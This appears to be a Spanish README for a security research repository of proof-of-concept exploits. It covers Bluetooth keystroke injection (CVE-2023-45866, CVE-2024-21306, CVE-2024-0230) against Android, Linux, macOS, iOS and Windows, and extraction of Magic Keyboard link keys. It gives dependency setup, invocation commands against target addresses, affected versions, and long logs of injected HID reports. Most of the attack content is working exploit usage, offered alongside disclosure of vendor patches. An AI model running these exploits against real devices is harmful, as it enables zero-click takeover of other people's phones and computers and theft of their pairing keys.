PoCs de exploits de inyección de pulsaciones de teclado por Bluetooth para CVE-2023-45866, CVE-2024-21306 y CVE-2024-0230 dirigidos a Android, Linux, macOS e iOS mediante teclados HID emulados.
Este repositorio contiene scripts de prueba de concepto para CVE-2023-45866, CVE-2024-21306 y CVE-2024-0230. Puedes encontrar más detalles en la publicación del blog.
| Prueba de concepto | Descripción |
|---|---|
| Inyección de teclado en Android | Fuerza el emparejamiento de un teclado Bluetooth virtual con un dispositivo Android vulnerable e inyecta 10 segundos de pulsaciones de la tecla tab. |
| Inyección de teclado en Linux | Fuerza el emparejamiento de un teclado Bluetooth virtual con un host Linux e inyecta 10 segundos de pulsaciones de la tecla tab. |
| Inyección de teclado en macOS | Fuerza el emparejamiento de un teclado Bluetooth virtual con un host macOS e inyecta pulsaciones de teclas para abrir un navegador web y realizar una búsqueda en Google. |
| Inyección de teclado en iOS | Fuerza el emparejamiento de un teclado Bluetooth virtual con un host iOS e inyecta pulsaciones de teclas para abrir un navegador web y navegar a una URL. |
| Inyección de teclado en Windows | Fuerza el emparejamiento de un teclado Bluetooth virtual con un host Windows e inyecta pulsaciones de la tecla tab. |
| Clave de enlace del Magic Keyboard mediante el puerto Lightning | Lee la clave de enlace Bluetooth desde el puerto Lightning de un Magic Keyboard. |
| Clave de enlace del Magic Keyboard mediante Bluetooth | Lee la clave de enlace Bluetooth desde el servicio HID Bluetooth no autenticado del Magic Keyboard. |
| Clave de enlace del Magic Keyboard mediante el puerto USB del Mac | Lee la clave de enlace Bluetooth de un Magic Keyboard objetivo suplantando el teclado por USB ante su Mac emparejado. |
Se sabe que los scripts funcionan en un host con Ubuntu 22.04 y un adaptador Bluetooth basado en Broadcom.
Utilicé principalmente este adaptador: https://www.amazon.com/Kinivo-USB-Bluetooth-4-0-Compatible/dp/B007Q45EF4``` Bus 001 Device 026: ID 0a5c:21e8 Broadcom Corp. BCM20702A0 Bluetooth 4.0
A partir de una instalación limpia de Ubuntu 22.04, las dependencias pueden instalarse con los siguientes comandos.```
# update apt
sudo apt-get update
sudo apt-get -y upgrade
# install dependencies from apt
sudo apt install -y bluez-tools bluez-hcidump libbluetooth-dev \
git gcc python3-pip python3-setuptools \
python3-pydbus
# install pybluez from source
git clone https://github.com/pybluez/pybluez.git
cd pybluez
sudo python3 setup.py install
# build bdaddr from the bluez source
cd ~/
git clone --depth=1 https://github.com/bluez/bluez.git
gcc -o bdaddr ~/bluez/tools/bdaddr.c ~/bluez/src/oui.c -I ~/bluez -lbluetooth
sudo cp bdaddr /usr/local/bin/
Los dispositivos Android son vulnerables antes del nivel de parche de seguridad del 2023-12-05.
Cuando Bluetooth está habilitado en un dispositivo Android sin parchear, un atacante puede emparejar un teclado Bluetooth emulado e inyectar pulsaciones de teclado, sin confirmación del usuario. Este es un ataque zero-click que funciona siempre que Bluetooth esté habilitado.
Esta vulnerabilidad afecta a Android ~4.2.2 y versiones posteriores.
Ejecute el PoC dirigido al dispositivo Android 5C:F3:70:AA:07:BD utilizando la interfaz hci1.```
./keystroke-injection-android-linux.py -i hci1 -t 5C:F3:70:AA:07:BD
Si tiene éxito, la PoC inyectará una carga útil de pulsaciones de tecla `tab` durante 10 segundos.
#### Salida de ejemplo```
> ./keystroke-injection-android-linux.py -i hci1 -t 5C:F3:70:AA:07:BD
[2024-01-07 11:03:01.329] executing 'sudo service bluetooth restart'
[2024-01-07 11:03:01.959] configuring Bluetooth adapter
[2024-01-07 11:03:01.963] calling RegisterProfile
[2024-01-07 11:03:01.966] running dbus loop
[2024-01-07 11:03:02.096] executing 'sudo hciconfig hci1 name Hi, My Name is Keyboard'
[2024-01-07 11:03:02.108] executing 'hciconfig hci1 name'
[2024-01-07 11:03:02.128] executing 'sudo hciconfig hci1 class 0x002540'
[2024-01-07 11:03:02.141] executing 'hciconfig hci1 class'
[2024-01-07 11:03:02.144] executing 'hcitool name 5C:F3:70:AA:07:BD'
[2024-01-07 11:03:02.877] connecting to SDP
[2024-01-07 11:03:02.877] connecting to 5C:F3:70:AA:07:BD on port 1
[2024-01-07 11:03:03.832] SUCCESS! connected on port 1
[2024-01-07 11:03:03.832] executing 'sudo btmgmt --index hci1 io-cap 1'
[2024-01-07 11:03:03.847] executing 'sudo btmgmt --index hci1 ssp 1'
[2024-01-07 11:03:03.858] connected to SDP (L2CAP 1) on target
[2024-01-07 11:03:03.865] 'NoInputNoOutput' pairing-agent is running
[2024-01-07 11:03:04.111] connecting to 5C:F3:70:AA:07:BD on port 19
[2024-01-07 11:03:04.864] ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:03:04.864] connecting to 5C:F3:70:AA:07:BD on port 17
[2024-01-07 11:03:04.932] SUCCESS! connected on port 17
[2024-01-07 11:03:04.932] connecting to HID Interrupt
[2024-01-07 11:03:04.932] connecting to 5C:F3:70:AA:07:BD on port 19
[2024-01-07 11:03:05.008] SUCCESS! connected on port 19
[2024-01-07 11:03:05.008] connected to HID Interrupt (L2CAP 19) on target
[2024-01-07 11:03:05.008] connected to HID Control (L2CAP 17) on target
[2024-01-07 11:03:05.009] [RX-17] 9000
[2024-01-07 11:03:05.009] [TX-17] 00
[2024-01-07 11:03:05.065] [RX-19] a20101
[2024-01-07 11:03:05.259] [TX-19] a101000000000000000000
[2024-01-07 11:03:05.259] injecting Tab keypresses for 10 seconds
[2024-01-07 11:03:05.259] [TX-19] a10100002b000000000000
[2024-01-07 11:03:05.264] [TX-19] a101000000000000000000
[2024-01-07 11:03:05.318] [TX-19] a10100002b000000000000
[2024-01-07 11:03:05.323] [TX-19] a101000000000000000000
[2024-01-07 11:03:05.377] [TX-19] a10100002b000000000000
[2024-01-07 11:03:05.382] [TX-19] a101000000000000000000
[2024-01-07 11:03:05.436] [TX-19] a10100002b000000000000
...
[2024-01-07 11:03:15.261] [TX-19] a101000000000000000000
[2024-01-07 11:03:15.319] payload has been transmitted; disconnecting Bluetooth HID client
[2024-01-07 11:03:15.321] taking 'hci1' offline
Los hosts Linux que ejecutan BlueZ 5 son vulnerables antes de que se implementaran los parches, aproximadamente en diciembre de 2023. Los números de versión específicos dependen de la distribución de Linux.
Cuando un host Linux sin parchear es descubrible y conectable a través de Bluetooth, un atacante puede emparejar un teclado Bluetooth emulado e inyectar pulsaciones de teclado, sin confirmación del usuario. Este es un ataque de cero clics que funciona siempre que el host sea descubrible y conectable.
Se entiende que esta vulnerabilidad afecta a las distribuciones de Linux sin parchear que utilizan la configuración predeterminada de BlueZ 5.
Google afirma que ChromeOS no se vio afectado por esta vulnerabilidad y, si bien ChromeOS no se probó como parte de esta investigación, su configuración de BlueZ parece prevenir el ataque.
Las distribuciones afectadas incluyen Ubuntu, Debian, Gentoo, Arch, Fedora, Red Hat, Yocto y Amazon Linux. Pueden verse afectadas múltiples versiones y, por ejemplo, Ubuntu parcheó las versiones 16.04, 18.04, 20.04, 22.04, 23.04 y 23.10.
Ejecuta el PoC dirigido al host Linux 58:28:39:E6:AE:1C usando la interfaz hci1.```
./keystroke-injection-android-linux.py -i hci1 -t 58:28:39:E6:AE:1C
Si tiene éxito, el PoC inyectará una carga útil de pulsaciones de tecla `tab` durante 10 segundos.
#### Salida de ejemplo```
> ./keystroke-injection-android-linux.py -i hci1 -t 58:28:39:E6:AE:1C
[2024-01-07 11:00:08.955] executing 'sudo service bluetooth restart'
[2024-01-07 11:00:09.586] configuring Bluetooth adapter
[2024-01-07 11:00:09.590] calling RegisterProfile
[2024-01-07 11:00:09.595] running dbus loop
[2024-01-07 11:00:09.725] executing 'sudo hciconfig hci1 name Hi, My Name is Keyboard'
[2024-01-07 11:00:09.738] executing 'hciconfig hci1 name'
[2024-01-07 11:00:09.759] executing 'sudo hciconfig hci1 class 0x002540'
[2024-01-07 11:00:09.771] executing 'hciconfig hci1 class'
[2024-01-07 11:00:09.774] executing 'hcitool name 58:28:39:E6:AE:1C'
[2024-01-07 11:00:10.399] connecting to SDP
[2024-01-07 11:00:10.400] connecting to 58:28:39:E6:AE:1C on port 1
[2024-01-07 11:00:12.984] SUCCESS! connected on port 1
[2024-01-07 11:00:12.984] executing 'sudo btmgmt --index hci1 io-cap 1'
[2024-01-07 11:00:12.992] executing 'sudo btmgmt --index hci1 ssp 1'
[2024-01-07 11:00:13.001] connected to SDP (L2CAP 1) on target
[2024-01-07 11:00:13.011] 'NoInputNoOutput' pairing-agent is running
[2024-01-07 11:00:13.253] connecting to 58:28:39:E6:AE:1C on port 19
[2024-01-07 11:00:15.020] ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:00:15.020] connecting to 58:28:39:E6:AE:1C on port 17
[2024-01-07 11:00:15.296] SUCCESS! connected on port 17
[2024-01-07 11:00:15.296] connecting to HID Interrupt
[2024-01-07 11:00:15.296] connecting to 58:28:39:E6:AE:1C on port 19
[2024-01-07 11:00:15.296] [RX-17] 15
[2024-01-07 11:00:15.500] ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:00:15.500] connecting to HID Interrupt
[2024-01-07 11:00:15.501] connecting to 58:28:39:E6:AE:1C on port 19
[2024-01-07 11:00:15.636] ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:00:15.636] connecting to HID Interrupt
[2024-01-07 11:00:15.638] connecting to 58:28:39:E6:AE:1C on port 19
[2024-01-07 11:00:15.764] ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:00:15.764] connecting to HID Interrupt
[2024-01-07 11:00:15.766] connecting to 58:28:39:E6:AE:1C on port 19
[2024-01-07 11:00:15.784] ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:00:15.784] connecting to HID Interrupt
[2024-01-07 11:00:15.785] connecting to 58:28:39:E6:AE:1C on port 19
[2024-01-07 11:00:15.832] ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:00:15.832] connecting to HID Interrupt
[2024-01-07 11:00:15.833] connecting to 58:28:39:E6:AE:1C on port 19
[2024-01-07 11:00:15.880] ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:00:15.880] connecting to HID Interrupt
[2024-01-07 11:00:15.881] connecting to 58:28:39:E6:AE:1C on port 19
[2024-01-07 11:00:16.160] ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:00:16.160] connecting to HID Interrupt
[2024-01-07 11:00:16.161] connecting to 58:28:39:E6:AE:1C on port 19
[2024-01-07 11:00:16.300] ERROR connecting on port 19: [Errno 22] Invalid argument
[2024-01-07 11:00:16.300] connecting to HID Interrupt
[2024-01-07 11:00:16.301] connecting to 58:28:39:E6:AE:1C on port 19
[2024-01-07 11:00:16.580] SUCCESS! connected on port 19
[2024-01-07 11:00:16.580] connected to HID Interrupt (L2CAP 19) on target
[2024-01-07 11:00:16.580] connecting to HID Control
[2024-01-07 11:00:16.580] connecting to 58:28:39:E6:AE:1C on port 17
[2024-01-07 11:00:16.859] SUCCESS! connected on port 17
[2024-01-07 11:00:16.860] connected to HID Control (L2CAP 17) on target
[2024-01-07 11:00:16.860] [RX-17] 4190
[2024-01-07 11:00:16.860] [TX-17] 00
[2024-01-07 11:00:17.110] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.110] injecting Tab keypresses for 10 seconds
[2024-01-07 11:00:17.111] [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.115] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.170] [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.174] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.229] [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.233] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.288] [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.292] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.347] [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.352] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.406] [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.410] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.465] [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.469] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.524] [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.528] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.583] [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.587] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.642] [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.646] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.701] [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.705] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.759] [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.764] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.818] [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.823] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.877] [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.882] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.936] [TX-19] a10100002b000000000000
[2024-01-07 11:00:17.941] [TX-19] a101000000000000000000
[2024-01-07 11:00:17.995] [TX-19] a10100002b000000000000
[2024-01-07 11:00:18.000] [TX-19] a101000000000000000000
[2024-01-07 11:00:18.054] [TX-19] a10100002b000000000000
[2024-01-07 11:00:18.059] [TX-19] a101000000000000000000
[2024-01-07 11:00:18.113] [TX-19] a10100002b000000000000
[2024-01-07 11:00:18.118] [TX-19] a101000000000000000000
[2024-01-07 11:00:18.172] [TX-19] a10100002b000000000000
...
[2024-01-07 11:00:27.102] [TX-19] a101000000000000000000
[2024-01-07 11:00:27.157] payload has been transmitted; disconnecting Bluetooth HID client
[2024-01-07 11:00:27.157] taking 'hci1' offline
Cuando un Mac intenta conectarse a un Magic Keyboard emparejado a través de Bluetooth, un atacante puede suplantar al Magic Keyboard ante el Mac, emparejar un teclado Bluetooth virtual e inyectar pulsaciones de teclado sin confirmación del usuario.
Este ataque tiene un componente de sincronización: el atacante debe conectarse al Mac en el momento exacto en que el Mac intenta conectarse al Magic Keyboard.
El PoC incluido se activa cuando un Magic Keyboard se desconecta de su Mac (por ejemplo, después de cargarse o emparejarse). El PoC utiliza el servicio SDP de Bluetooth en el Mac como canal secundario para observar el evento de desconexión y desencadenar el ataque. Se trata de un ataque de cero clics que requiere observar cómo se desconecta un Magic Keyboard de un Mac.
./keystroke-injection-macos.py --help usage: keystroke-injection-macos.py [-h] -i INTERFACE -t TARGET_ADDRESS -k KEYBOARD_ADDRESS
options: -h, --help show this help message and exit -i INTERFACE, --interface INTERFACE -t TARGET_ADDRESS, --target_address TARGET_ADDRESS -k KEYBOARD_ADDRESS, --keyboard_address KEYBOARD_ADDRESS
##### Invocación```
./keystroke-injection-macos.py -i hci1 -t 50:DE:06:A8:E1:CA -k 1C:57:DC:88:55:02
[2024-01-07 12:25:43.777] executing 'sudo service bluetooth restart' [2024-01-07 12:25:44.324] configuring Bluetooth adapter [2024-01-07 12:25:44.461] executing 'sudo hciconfig hci1 name Hi, My Name is Keyboard' [2024-01-07 12:25:44.474] executing 'hciconfig hci1 name' [2024-01-07 12:25:44.493] executing 'sudo hciconfig hci1 class 0x002540' [2024-01-07 12:25:44.506] executing 'hciconfig hci1 class' [2024-01-07 12:25:44.509] executing 'sudo bdaddr -i hci1 1C:57:DC:88:55:02' [2024-01-07 12:25:44.649] executing 'hciconfig hci1' [2024-01-07 12:25:44.652] connecting to SDP [2024-01-07 12:25:44.652] connecting to 50:DE:06:A8:E1:CA on port 1 [2024-01-07 12:25:45.776] SUCCESS! connected on port 1 [2024-01-07 12:25:45.776] executing 'sudo btmgmt --index hci1 io-cap 1' [2024-01-07 12:25:45.788] executing 'sudo btmgmt --index hci1 ssp 1' [2024-01-07 12:25:45.795] connected to SDP (L2CAP 1) on target [2024-01-07 12:25:45.795]
[2024-01-07 12:25:46.014] b'HCI sniffer - Bluetooth packet analyzer ver 5.64\n' [2024-01-07 12:25:46.015] b'device: hci1 snap_len: 1500 filter: 0xffffffffffffffff\n' [2024-01-07 12:25:46.017] b'> HCI Event: Number of Completed Packets (0x13) plen 5\n' [2024-01-07 12:25:46.018] b' handle 11 packets 1\n' [2024-01-07 12:25:47.296] b'> ACL data: handle 11 flags 0x02 dlen 12\n' [2024-01-07 12:25:47.297] b' L2CAP(s): Connect req: psm 1 scid 0x0506\n' [2024-01-07 12:25:47.337] connecting to HID Control [2024-01-07 12:25:47.337] connecting to 50:DE:06:A8:E1:CA on port 17 [2024-01-07 12:25:47.788] ERROR connecting on port 17: [Errno 22] Invalid argument [2024-01-07 12:25:47.788] connecting to HID Control [2024-01-07 12:25:47.799] connecting to 50:DE:06:A8:E1:CA on port 17 [2024-01-07 12:25:47.908] SUCCESS! connected on port 17 [2024-01-07 12:25:47.908] connected to HID Control (L2CAP 17) on target [2024-01-07 12:25:47.908] connecting to HID Interrupt [2024-01-07 12:25:47.908] connecting to 50:DE:06:A8:E1:CA on port 19 [2024-01-07 12:25:47.976] SUCCESS! connected on port 19 [2024-01-07 12:25:47.976] connected to HID Interrupt (L2CAP 19) on target [2024-01-07 12:25:47.976] [TX-19] a101000000000000000000 [2024-01-07 12:25:48.012] [RX-17] 71 [2024-01-07 12:25:48.013] [TX-17] 00 [2024-01-07 12:25:48.048] [RX-17] 53c601180121 [2024-01-07 12:25:48.048] [TX-17] 00 [2024-01-07 12:25:48.084] [RX-17] 53ffbb [2024-01-07 12:25:48.084] [TX-17] 00 [2024-01-07 12:25:48.116] [RX-17] 43f0 [2024-01-07 12:25:48.116] [TX-17] 00 [2024-01-07 12:25:48.159] [RX-17] 53ff90 [2024-01-07 12:25:48.160] [TX-17] 00 [2024-01-07 12:25:48.192] [RX-17] 41f0 [2024-01-07 12:25:48.192] [TX-17] 00 [2024-01-07 12:25:48.228] [RX-17] 53ff34 [2024-01-07 12:25:48.228] [TX-17] 00 [2024-01-07 12:25:48.265] [RX-17] 43f0 [2024-01-07 12:25:48.265] [TX-17] 00 [2024-01-07 12:25:48.296] [RX-17] 53ff90 [2024-01-07 12:25:48.296] [TX-17] 00 [2024-01-07 12:25:48.308] [RX-17] 41f0 [2024-01-07 12:25:48.309] [TX-17] 00 [2024-01-07 12:25:48.344] [RX-17] 53ffe0 [2024-01-07 12:25:48.344] [TX-17] 00 [2024-01-07 12:25:48.376] [RX-17] 43f0 [2024-01-07 12:25:48.376] [TX-17] 00 [2024-01-07 12:25:48.413] [RX-17] 53ff14 [2024-01-07 12:25:48.413] [TX-17] 00 [2024-01-07 12:25:48.456] [RX-17] 43f0 [2024-01-07 12:25:48.456] [TX-17] 00 [2024-01-07 12:25:48.492] [RX-17] 53ffc5 [2024-01-07 12:25:48.493] [TX-17] 00 [2024-01-07 12:25:48.528] [RX-17] 43f0 [2024-01-07 12:25:48.528] [TX-17] 00 [2024-01-07 12:25:48.572] [RX-17] 53ff02 [2024-01-07 12:25:48.573] [TX-17] 00 [2024-01-07 12:25:48.607] [RX-17] 43f1 [2024-01-07 12:25:48.608] [TX-17] 00 [2024-01-07 12:25:48.644] [RX-19] a2f10100 [2024-01-07 12:25:48.645] injecting payload [2024-01-07 12:25:48.645] [TX-19] a1010800e32c0000000000 [2024-01-07 12:25:48.646] [RX-19] a2f10100 [2024-01-07 12:25:48.647] [RX-19] a2f10100 [2024-01-07 12:25:48.649] [RX-19] a2f10100 [2024-01-07 12:25:48.650] [RX-19] a2f10100 [2024-01-07 12:25:48.653] [RX-17] 53ff03 [2024-01-07 12:25:48.653] [TX-17] 00 [2024-01-07 12:25:48.680] [RX-17] 43f1 [2024-01-07 12:25:48.680] [TX-17] 00 [2024-01-07 12:25:48.896] [TX-19] a101000017000000000000 [2024-01-07 12:25:48.900] [TX-19] a101000000000000000000 [2024-01-07 12:25:48.905] [TX-19] a101000008000000000000 [2024-01-07 12:25:48.909] [TX-19] a101000000000000000000 [2024-01-07 12:25:48.914] [TX-19] a101000015000000000000 [2024-01-07 12:25:48.918] [TX-19] a101000000000000000000 [2024-01-07 12:25:48.922] [TX-19] a101000010000000000000 [2024-01-07 12:25:48.927] [TX-19] a101000000000000000000 [2024-01-07 12:25:48.931] [TX-19] a10100000c000000000000 [2024-01-07 12:25:48.936] [TX-19] a101000000000000000000 [2024-01-07 12:25:48.940] [TX-19] a101000011000000000000 [2024-01-07 12:25:48.944] [TX-19] a101000000000000000000 [2024-01-07 12:25:48.949] [TX-19] a101000004000000000000 [2024-01-07 12:25:48.953] [TX-19] a101000000000000000000 [2024-01-07 12:25:48.958] [TX-19] a10100000f000000000000 [2024-01-07 12:25:48.962] [TX-19] a101000000000000000000 [2024-01-07 12:25:48.966] [TX-19] a101000028000000000000 [2024-01-07 12:25:48.971] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.225] [TX-19] a101010006e00000000000 [2024-01-07 12:25:49.230] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.234] [TX-19] a101000012000000000000 [2024-01-07 12:25:49.239] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.244] [TX-19] a101000013000000000000 [2024-01-07 12:25:49.248] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.252] [TX-19] a101000008000000000000 [2024-01-07 12:25:49.256] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.261] [TX-19] a101000011000000000000 [2024-01-07 12:25:49.265] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.269] [TX-19] a10100002c000000000000 [2024-01-07 12:25:49.274] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.278] [TX-19] a101020034e10000000000 [2024-01-07 12:25:49.283] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.287] [TX-19] a10100000b000000000000 [2024-01-07 12:25:49.291] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.296] [TX-19] a101000017000000000000 [2024-01-07 12:25:49.300] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.304] [TX-19] a101000017000000000000 [2024-01-07 12:25:49.309] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.313] [TX-19] a101000013000000000000 [2024-01-07 12:25:49.318] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.322] [TX-19] a101000016000000000000 [2024-01-07 12:25:49.327] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.331] [TX-19] a101020033e10000000000 [2024-01-07 12:25:49.335] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.340] [TX-19] a101000038000000000000 [2024-01-07 12:25:49.344] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.349] [TX-19] a101000038000000000000 [2024-01-07 12:25:49.353] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.358] [TX-19] a10100000a000000000000 [2024-01-07 12:25:49.362] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.367] [TX-19] a101000012000000000000 [2024-01-07 12:25:49.371] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.376] [TX-19] a101000012000000000000 [2024-01-07 12:25:49.380] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.385] [TX-19] a10100000a000000000000 [2024-01-07 12:25:49.389] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.393] [TX-19] a10100000f000000000000 [2024-01-07 12:25:49.398] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.402] [TX-19] a101000008000000000000 [2024-01-07 12:25:49.407] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.411] [TX-19] a101000037000000000000 [2024-01-07 12:25:49.416] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.420] [TX-19] a101000006000000000000 [2024-01-07 12:25:49.424] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.429] [TX-19] a101000012000000000000 [2024-01-07 12:25:49.433] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.438] [TX-19] a101000010000000000000 [2024-01-07 12:25:49.442] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.447] [TX-19] a101000038000000000000 [2024-01-07 12:25:49.451] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.455] [TX-19] a101000016000000000000 [2024-01-07 12:25:49.460] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.464] [TX-19] a101000008000000000000 [2024-01-07 12:25:49.468] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.473] [TX-19] a101000004000000000000 [2024-01-07 12:25:49.477] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.482] [TX-19] a101000015000000000000 [2024-01-07 12:25:49.486] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.491] [TX-19] a101000006000000000000 [2024-01-07 12:25:49.495] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.499] [TX-19] a10100000b000000000000 [2024-01-07 12:25:49.504] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.508] [TX-19] a101020038e10000000000 [2024-01-07 12:25:49.513] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.517] [TX-19] a101000014000000000000 [2024-01-07 12:25:49.522] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.526] [TX-19] a10100002e000000000000 [2024-01-07 12:25:49.531] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.535] [TX-19] a101000017000000000000 [2024-01-07 12:25:49.540] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.544] [TX-19] a10100000b000000000000 [2024-01-07 12:25:49.549] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.553] [TX-19] a10100000c000000000000 [2024-01-07 12:25:49.558] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.562] [TX-19] a101000016000000000000 [2024-01-07 12:25:49.567] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.571] [TX-19] a10102002ee10000000000 [2024-01-07 12:25:49.576] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.580] [TX-19] a10100000c000000000000 [2024-01-07 12:25:49.585] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.589] [TX-19] a101000016000000000000 [2024-01-07 12:25:49.593] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.598] [TX-19] a10102002ee10000000000 [2024-01-07 12:25:49.602] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.607] [TX-19] a101000009000000000000 [2024-01-07 12:25:49.611] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.616] [TX-19] a10100000c000000000000 [2024-01-07 12:25:49.620] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.625] [TX-19] a101000011000000000000 [2024-01-07 12:25:49.629] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.633] [TX-19] a101000008000000000000 [2024-01-07 12:25:49.638] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.642] [TX-19] a101020034e10000000000 [2024-01-07 12:25:49.646] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.651] [TX-19] a101000028000000000000 [2024-01-07 12:25:49.655] [TX-19] a101000000000000000000 [2024-01-07 12:25:49.760] payload has been transmitted; disconnecting Bluetooth HID client [2024-01-07 12:25:49.761] taking 'hci1' offline
## Extracción de la clave de enlace
### Clave de enlace del Magic Keyboard a través del puerto Lightning
Cuando el Magic Keyboard está conectado al Mac, el Mac envía la clave de enlace Bluetooth al Magic Keyboard a través de USB.
La clave de enlace permanece en memoria hasta que el Magic Keyboard se apaga, y puede ser leída por un atacante con acceso al puerto Lightning del teclado.
#### Versiones afectadas
Apple comenzó a implementar [parches para Magic Keyboard](https://support.apple.com/en-us/HT214050) el 2024-01-09.
Los siguientes periféricos de Apple fueron probados y se encontraron vulnerables a este ataque. No se probaron otros periféricos, por lo que esta lista puede estar incompleta.
| Product Name | Model Number |
|-|-|
| Magic Keyboard | A2450 |
| Magic Keyboard con Touch ID | A2449 |
| Magic Keyboard con teclado numérico | A1843 |
| Magic Keyboard con Touch ID y teclado numérico | A2520 |
| Magic Mouse | A1657 |
#### Estado inicial
- El Magic Keyboard ha permanecido encendido desde la última vez que se conectó al Mac
#### Ejecución de la PoC
Conecta el Magic Keyboard al computador Linux con un cable de Lightning a USB y ejecuta el script sin parámetros.```
./read-link-key-lightning.py
Model - Magic Keyboard Serial Number - F1T2107RUNW12NXA9 BT Address - 1c:57:fc:08:65:12 Mac BT Address - a4:c3:99:e8:a8:6c BT Link Key - c95e3ec98809f2745d32029e7f97b67e
### Clave de enlace del Magic Keyboard a través del puerto USB en Mac
Cuando el Magic Keyboard está conectado al Mac, el Mac envía la clave de enlace Bluetooth al Magic Keyboard a través de USB.
La próxima vez que el Magic Keyboard se conecte al Mac, se reconoce por su dirección Bluetooth y número de serie, y el Mac envía la clave de enlace original al Magic Keyboard.
Si un atacante conoce la dirección Bluetooth y el número de serie de un Magic Keyboard objetivo, puede suplantar el Magic Keyboard ante el Mac a través de USB y leer la clave de enlace objetivo desde el puerto USB del Mac.
El PoC implementa este ataque escribiendo la dirección Bluetooth y el número de serie objetivo en un teclado donante, conectando el teclado donante al Mac y luego leyendo la clave de enlace del teclado donante.
Este ataque puede mitigarse habilitando el Modo Lockdown en el Mac.
#### Versiones afectadas
Apple comenzó a implementar [parches para Magic Keyboard](https://support.apple.com/en-us/HT214050) el 2024-01-09.
Las versiones 12, 13 y 14 de macOS fueron probadas y se encontró que son vulnerables a este ataque. Las versiones anteriores de macOS no fueron probadas.
Los siguientes periféricos de Apple fueron probados y se encontró que son vulnerables a este ataque. No se probaron otros periféricos, por lo que esta lista puede estar incompleta.
| Nombre del producto | Número de modelo |
|-|-|
| Magic Keyboard | A2450 |
| Magic Keyboard con Touch ID | A2449 |
| Magic Keyboard con teclado numérico | A1843 |
| Magic Keyboard con Touch ID y teclado numérico | A2520 |
| Magic Mouse | A1657 |
#### Estado inicial
- El Magic Keyboard está emparejado con un Mac que no tiene habilitado el Modo Lockdown
- El atacante conoce la dirección Bluetooth y el número de serie del Magic Keyboard
